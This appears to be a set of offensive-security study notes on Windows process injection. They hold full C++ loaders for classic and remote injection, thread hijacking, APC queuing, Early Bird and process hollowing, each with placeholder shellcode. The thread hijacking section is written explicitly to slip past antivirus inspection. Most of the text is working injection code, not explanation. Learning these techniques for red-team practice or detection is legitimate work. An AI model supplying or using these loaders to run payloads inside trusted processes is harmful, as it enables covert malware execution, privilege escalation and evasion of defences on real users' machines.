Process Injection
- Privesc and defense evasion technique
- inject untrusted code into the address space of a trusted process and inherit the security context of the process's owner
- Steps required:
- Allocate a new region of memory in the process
- Copy the shellcode into that region
- Execute the shellcode (with a thread)
Classic Injection
Uses VirtualAlloc, WriteProcessMemory and CreateThread APIs to inject and execute the shellcode in the running process
#include <Windows.h>
int main()
{
unsigned char shellcode[] = "..."; // your shellcode goes here
// allocate a region of memory
auto hMemory = VirtualAlloc(
NULL, // we don't mind where it's allocated
sizeof(shellcode), // the size of memory region
MEM_COMMIT | MEM_RESERVE, // type of memory allocation
PAGE_EXECUTE_READWRITE // memory protection
);
// write the shellcode into memory
SIZE_T bytesWritten = 0;
WriteProcessMemory(
GetCurrentProcess(), // handle to target process
hMemory, // pointer to target memory region
&shellcode, // pointer to data to write
sizeof(shellcode), // length of data to write
&bytesWritten // receives the number of bytes written
);
// create a new thread
DWORD threadId = 0;
auto hThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)hMemory, // a pointer to the thing to execute
NULL,
0,
&threadId // receives the new thread ID
);
// wait for the thread to finish
WaitForSingleObject(
hThread, // the handle to wait on
INFINITE // the length of time to wait
);
// close the thread handle
CloseHandle(hThread);
}
Classic Remote Injection
Same as above but with an added step of obtaining the handle to the targt process by its PID
#include <Windows.h>
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "...";
// convert the provided argument to an integer
auto pid = atoi(argv[1]);
// get handle to process
auto hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // desired access level
FALSE,
pid // target process ID
);
// sanity check the handle is valid
if (hProcess == INVALID_HANDLE_VALUE) {
return 0;
}
// allocate a region of memory
auto hMemory = VirtualAllocEx(
hProcess, // handle to target process
NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// write the shellcode into memory
SIZE_T bytesWritten = 0;
WriteProcessMemory(
hProcess,
hMemory,
&shellcode,
sizeof(shellcode),
&bytesWritten
);
// create a new thread
DWORD threadId = 0;
auto hThread = CreateRemoteThread(
hProcess, // handle to target process
NULL,
0,
(LPTHREAD_START_ROUTINE)hMemory,
NULL,
0,
&threadId
);
// wait for the thread to finish
WaitForSingleObject(
hThread,
INFINITE
);
// close the thread handle
CloseHandle(hThread);
}
Thread Hijacking
- Antivirus solutions can alert if they inspect thread memory and find its pointing to shellcode
- Solution = create the thread in a suspended state but pointing to a bening location
- After the AV is done scanning the context of the thread can be changed to point at the shellcode
#include <Windows.h>
void dummy() {
// do nothing
}
int main()
{
unsigned char shellcode[] = "...";
// allocate a region of memory
auto hMemory = VirtualAlloc(
NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// write the shellcode into memory
SIZE_T bytesWritten = 0;
WriteProcessMemory(
GetCurrentProcess(),
hMemory,
&shellcode,
sizeof(shellcode),
&bytesWritten
);
// create a suspended thread pointing at a dummy function
DWORD threadId = 0;
auto hThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)&dummy,
NULL,
CREATE_SUSPENDED,
&threadId
);
// little sleep
Sleep(5 * 1000);
// get current thread's context
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &ctx);
// point thread context at shellcode
ctx.Rip = (DWORD64)hMemory;
SetThreadContext(hThread, &ctx);
// resume the thread
ResumeThread(hThread);
// wait on thread
WaitForSingleObject(hThread, INFINITE);
// close handle
CloseHandle(hThread);
}
Asynchronous Procedure Calls (APC)
- similar to above but instead of creating a new thread we queue an APC on an existing thread
- When thread enters alertable state (calls
SleeporWaitForSingleObject) it will run the shellcode that the APC points to - we need a thread ID and in order to get one we need to "thread walk" it
#include <Windows.h>
#include <tlhelp32.h>
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "...";
// convert the provided argument to an integer
auto pid = atoi(argv[1]);
DWORD threadId = 0;
// create thread snapshot
auto hSnapshot = CreateToolhelp32Snapshot(
TH32CS_SNAPTHREAD,
0
);
THREADENTRY32 te = { 0 };
te.dwSize = sizeof(te);
// walk the threads
Thread32First(hSnapshot, &te);
do {
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) {
if (te.th32OwnerProcessID == pid) {
// use the first thread we find
threadId = te.th32ThreadID;
break;
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(hSnapshot, &te));
if (threadId == 0) {
// we failed to find a thread
return 0;
}
// get a handle to the process
auto hProcess = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
pid
);
// allocate a region of memory
auto hMemory = VirtualAllocEx(
hProcess,
NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// write the shellcode into memory
SIZE_T bytesWritten = 0;
WriteProcessMemory(
hProcess,
hMemory,
&shellcode,
sizeof(shellcode),
&bytesWritten
);
// open handle to target thread
auto hThread = OpenThread(
THREAD_ALL_ACCESS,
FALSE,
threadId
);
// queue the apc
QueueUserAPC(
(PAPCFUNC)hMemory, // target function
hThread, // target thread
0
);
}
Early Bird
- downside of APC method is that thers no guarentee that the thread will become alertable
- early bird method is a solution that spawns a new process in a suspended state, queuing the APC on its primary thread then resuming the process
- APC is guarenteed to trigger
#include <Windows.h>
int main()
{
unsigned char shellcode[] = "...";
STARTUPINFOW si = { 0 };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi = { 0 };
// spawn process in suspended state
CreateProcess(
L"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
L"C:\\Windows\\System32",
&si,
&pi
);
// allocate a region of memory
auto hMemory = VirtualAllocEx(
pi.hProcess, // handle to newly spawned process
NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// write the shellcode into memory
SIZE_T bytesWritten = 0;
WriteProcessMemory(
pi.hProcess,
hMemory,
&shellcode,
sizeof(shellcode),
&bytesWritten
);
// queue the apc
QueueUserAPC(
(PAPCFUNC)hMemory,
pi.hThread,
0
);
// resume the process
ResumeThread(pi.hThread);
// tidy up our handles
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
Process Hollowing
- process is started in suspended state
- original PE is unmapped from memory and new PE mapped in its place
- we overwrite the PE's entry point with shellcode without unmapping anything first
- when resumed, process's primary thread wil be pointing at our shellcode instead of PE's executable code section
- To find the PE entry point we need to read its structure from memory while its suspended
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
int main()
{
unsigned char shellcode[] = "...";
STARTUPINFOW si = { 0 };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi = { 0 };
// spawn process in suspended state
CreateProcess(
L"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
L"C:\\Windows\\System32",
&si,
&pi
);
// get the process information to find the address of the PEB
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG returnLength;
NtQueryInformationProcess(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&returnLength
);
// the image base address is always at PEB + 0x10 for x64
auto lpBaseAddress = (LPVOID)((DWORD64)(pbi.PebBaseAddress) + 0x10);
// read the base address (addresses are 8 bytes for x64)
LPVOID baseAddress = 0;
SIZE_T bytesRead = 0;
ReadProcessMemory(
pi.hProcess,
lpBaseAddress,
&baseAddress,
8,
&bytesRead
);
// now we can read the dos header
IMAGE_DOS_HEADER dHeader = { 0 };
ReadProcessMemory(
pi.hProcess,
baseAddress,
&dHeader,
sizeof(dHeader),
&bytesRead
);
// use e_lfanew to calculate pointer to nt header
auto lpNtHeader = (LPVOID)((DWORD64)baseAddress + dHeader.e_lfanew);
// read the nt header
IMAGE_NT_HEADERS ntHeaders = { 0 };
ReadProcessMemory(
pi.hProcess,
lpNtHeader,
&ntHeaders,
sizeof(ntHeaders),
&bytesRead
);
// calculate the entry point address
auto entryPoint = (LPVOID)((DWORD64)baseAddress + ntHeaders.OptionalHeader.AddressOfEntryPoint);
// write shellcode to this location, overwriting the PE
SIZE_T bytesWritten = 0;
WriteProcessMemory(
pi.hProcess,
entryPoint,
shellcode,
sizeof(shellcode),
&bytesWritten
);
// resume the process
ResumeThread(pi.hThread);
}